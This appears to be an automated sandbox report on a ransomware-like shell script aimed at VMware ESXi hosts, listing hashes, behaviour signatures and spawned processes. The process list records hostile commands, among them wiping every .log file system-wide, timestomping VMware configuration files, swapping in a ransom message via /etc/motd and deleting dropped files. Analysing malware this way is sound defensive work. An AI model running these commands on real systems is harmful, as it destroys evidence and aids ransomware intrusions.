SHA512 78d27f45518a7fce636ef790ee215b1f47b2939e02cf6c5118897a703cc15ed4c283838d30a275e309304415d2a58e2e4a07d99127ec9ff32221d94e6547ca1f

/var/spool/cron/crontabs/tmp.FOSCc6

MD5 3b7a97e0bf2161c729cdec55c42e47d4
SHA1 e6a11e30f26c50216b41f9c2278f1d5783dd63f7
SHA256 5105db876f9883d34669f0016b3d79a7559b44cfb68d20069e8389c63b544482
SHA512 dc5774e2c073298103f9349ee5e5e8b6825d3f837a01b7d7e19a70e9ec5418ab3fe80c6853ac2b8e253b3eb34ee1c6428ca6892324c3fe49bedc571a687f8444

/var/spool/cron/crontabs/tmp.elIYgw

MD5 6fb5ee24078c51509bf4240e6ac9e988
SHA1 cfc5592a72c38f5f0694f5fadb2c3f375ea720e0
SHA256 45c7c6700b7e84068b369190405d45806fdb8c0d8ae165f28d56733f373a444e
SHA512 eff2f48705b4146c471a67f5b412bafe836996f186a3a5ef77f265af24f06c7ef0e55f89e6cbadb5c0592c11c61996693f7fee9b5eed3619e5c2e6a2c62e0b26

/var/spool/cron/crontabs/tmp.PEVm9r

MD5 3e4a939ff67403774c78185c07dfdc39
SHA1 d891cc8e620a54254902657f03e6a41046d3a93c
SHA256 4260ccaad5496d8697812a8d38a38d97dfa4caff8a607784a9a34c71a98d96fe
SHA512 83b82b270310ae3ff3e30a0441aad1f4828fa794d0085f88fa4f996fc1e80e2559f496483773043f248a969b1efbac0d7b63bb9525c636d29c7a81676a3df487

Analysis: behavioral11

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:10

Platform

debian9-mipsbe-20240611-en

Max time kernel

9s

Command Line

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/70/status /bin/ps N/A
File opened for reading /proc/82/stat /bin/ps N/A
File opened for reading /proc/sys/kernel/pid_max /bin/ps N/A
File opened for reading /proc/673/stat /bin/ps N/A
File opened for reading /proc/692/stat /bin/ps N/A
File opened for reading /proc/706/status /bin/ps N/A
File opened for reading /proc/24/status /bin/ps N/A
File opened for reading /proc/3/stat /bin/ps N/A
File opened for reading /proc/13/stat /bin/ps N/A
File opened for reading /proc/375/stat /bin/ps N/A
File opened for reading /proc/724/stat /bin/ps N/A
File opened for reading /proc/160/status /bin/ps N/A
File opened for reading /proc/71/stat /bin/ps N/A
File opened for reading /proc/177/status /bin/ps N/A
File opened for reading /proc/487/status /bin/ps N/A
File opened for reading /proc/81/stat /bin/ps N/A
File opened for reading /proc/712/stat /bin/ps N/A
File opened for reading /proc/758/stat /bin/ps N/A
File opened for reading /proc/759/stat /bin/ps N/A
File opened for reading /proc/12/stat /bin/ps N/A
File opened for reading /proc/692/status /bin/ps N/A
File opened for reading /proc/74/stat /bin/ps N/A
File opened for reading /proc/77/status /bin/ps N/A
File opened for reading /proc/328/status /bin/ps N/A
File opened for reading /proc/660/stat /bin/ps N/A
File opened for reading /proc/732/status /bin/ps N/A
File opened for reading /proc/7/stat /bin/ps N/A
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/2/stat /bin/ps N/A
File opened for reading /proc/24/status /bin/ps N/A
File opened for reading /proc/72/stat /bin/ps N/A
File opened for reading /proc/487/stat /bin/ps N/A
File opened for reading /proc/15/stat /bin/ps N/A
File opened for reading /proc/386/stat /bin/ps N/A
File opened for reading /proc/712/stat /bin/ps N/A
File opened for reading /proc/6/stat /bin/ps N/A
File opened for reading /proc/16/status /bin/ps N/A
File opened for reading /proc/17/status /bin/ps N/A
File opened for reading /proc/20/stat /bin/ps N/A
File opened for reading /proc/235/status /bin/ps N/A
File opened for reading /proc/714/status /bin/ps N/A
File opened for reading /proc/3/stat /bin/ps N/A
File opened for reading /proc/37/stat /bin/ps N/A
File opened for reading /proc/78/stat /bin/ps N/A
File opened for reading /proc/360/status /bin/ps N/A
File opened for reading /proc/meminfo /bin/ps N/A
File opened for reading /proc/3/status /bin/ps N/A
File opened for reading /proc/177/status /bin/ps N/A
File opened for reading /proc/12/status /bin/ps N/A
File opened for reading /proc/14/stat /bin/ps N/A
File opened for reading /proc/673/status /bin/ps N/A
File opened for reading /proc/13/status /bin/ps N/A
File opened for reading /proc/21/stat /bin/ps N/A
File opened for reading /proc/154/stat /bin/ps N/A
File opened for reading /proc/706/stat /bin/ps N/A
File opened for reading /proc/uptime /bin/ps N/A
File opened for reading /proc/76/stat /bin/ps N/A
File opened for reading /proc/705/stat /bin/ps N/A
File opened for reading /proc/713/status /bin/ps N/A
File opened for reading /proc/71/status /bin/ps N/A
File opened for reading /proc/18/stat /bin/ps N/A
File opened for reading /proc/77/stat /bin/ps N/A
File opened for reading /proc/111/stat /bin/ps N/A
File opened for reading /proc/328/stat /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/rm N/A
N/A N/A /bin/rm N/A
N/A N/A /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh N/A

Processes

/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/bin/grep

[grep Config File]

/usr/bin/awk

[awk {print $3}]

/bin/ps

[ps]

/bin/grep

[grep vmx]

/usr/bin/awk

[awk {print $2}]

/bin/chmod

[chmod +x /tmp//encrypt]

/bin/grep

[grep /vmfs/volumes/]

/usr/bin/awk

[awk -F {print $2}]

/usr/bin/find

[find /usr/lib/vmware -type f -name index.html]

/bin/mv

[mv /etc/motd /etc/motd1]

/bin/cp

[cp /tmp//motd /etc/motd]

/bin/find

[/bin/find / -name *.log -exec /bin/rm -rf {} ;]

/bin/ps

[/bin/ps]

/bin/grep

[/bin/grep encrypt]

/bin/grep

[/bin/grep -v grep]

/bin/wc

[/bin/wc -l]

/bin/wc

[/bin/wc -l]

/bin/vmware

[/bin/vmware -l]

/bin/grep

[/bin/grep 7.]

/bin/rm

[/bin/rm -f /store/packages/vmtools.py]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh]

/bin/rm

[/bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip]

/bin/sh

[/bin/sh /bin/auto-backup.sh]

/bin/rm

[/bin/rm -- /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/etc/init.d/SSH

[/etc/init.d/SSH start]

Network

N/A

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:07

Platform

debian9-mipsbe-20240611-en

Max time kernel

25s

Command Line

[/tmp/script_malware/404]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/404 N/A

Processes

/tmp/script_malware/404

[/tmp/script_malware/404]

Network

N/A

Files

N/A